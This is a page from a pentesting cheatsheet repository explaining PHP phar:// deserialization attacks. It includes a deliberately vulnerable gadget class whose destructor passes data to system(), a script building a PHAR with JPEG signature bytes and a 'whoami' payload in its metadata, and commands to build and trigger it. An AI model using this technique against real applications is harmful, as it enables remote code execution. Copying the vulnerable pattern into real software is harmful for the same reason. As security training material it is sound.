daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

phar-deserialization.md (3081B)


      1 ---
      2 title: "phar:// Deserialization"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/file-inclusion/phar-deserialization.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/phar-deserialization.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # `phar://` Deserialization
     14 
     15 PHAR (PHP Archive) files can store serialized PHP values as archive metadata. Before PHP 8.0, opening a PHAR through the stream wrapper could automatically deserialize that metadata; starting with PHP 8.0, metadata deserialization is deferred until `Phar::getMetadata()` is called.<sup>[[1]](#references)</sup>
     16 
     17 Consequently, the classic `phar://` object-injection technique applies primarily to PHP 7.x and older applications that pass attacker-controlled paths to filesystem functions such as `file_exists()`, `filesize()`, or `file_get_contents()`. On PHP 8.x, look instead for explicit calls to `Phar::getMetadata()` on an untrusted archive; PHP warns that doing so can execute code through object deserialization.<sup>[[1]](#references)[[2]](#references)</sup>
     18 
     19 Exploitation also requires a usable gadget class in the application. The following deliberately vulnerable example has a destructor that executes the value stored in `$data`:<sup>[[3]](#references)</sup>
     20 
     21 ```php
     22 <?php
     23 class AnyClass {
     24 	public $data = null;
     25 	public function __construct($data) {
     26 		$this->data = $data;
     27 	}
     28 
     29 	function __destruct() {
     30 		system($this->data);
     31 	}
     32 }
     33 
     34 filesize("phar://test.phar"); // Attacker-controlled path on affected PHP versions
     35 ```
     36 
     37 The following script creates a PHAR whose metadata contains that object:
     38 
     39 ```php
     40 <?php
     41 
     42 class AnyClass {
     43 	public $data = null;
     44 	public function __construct($data) {
     45 		$this->data = $data;
     46 	}
     47 
     48 	function __destruct() {
     49 		system($this->data);
     50 	}
     51 }
     52 
     53 // Create a new PHAR.
     54 $phar = new Phar('test.phar');
     55 $phar->startBuffering();
     56 $phar->addFromString('test.txt', 'text');
     57 $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
     58 
     59 // Store the gadget object as metadata.
     60 $object = new AnyClass('whoami');
     61 $phar->setMetadata($object);
     62 $phar->stopBuffering();
     63 ```
     64 
     65 The stub starts with JPEG signature bytes. This may evade a simplistic signature check, but it does not make the archive a fully valid image and will not bypass robust server-side validation.<sup>[[3]](#references)</sup>
     66 
     67 Create `test.phar` with:
     68 
     69 ```bash
     70 php --define phar.readonly=0 create_phar.php
     71 ```
     72 
     73 On an affected PHP version, invoking the vulnerable code causes the metadata object to be reconstructed and its destructor to run:
     74 
     75 ```bash
     76 php vuln.php
     77 ```
     78 
     79 ## References
     80 
     81 - [1] [PHP manual - Phar class and PHP 8 metadata-deserialization change](https://www.php.net/manual/en/class.phar.php)
     82 - [2] [PHP manual - Phar::getMetadata](https://www.php.net/manual/en/phar.getmetadata.php)
     83 - [3] [RIPS Technologies - PHP object injection via `phar://` metadata](https://blog.ripstech.com/2018/new-php-exploitation-technique/)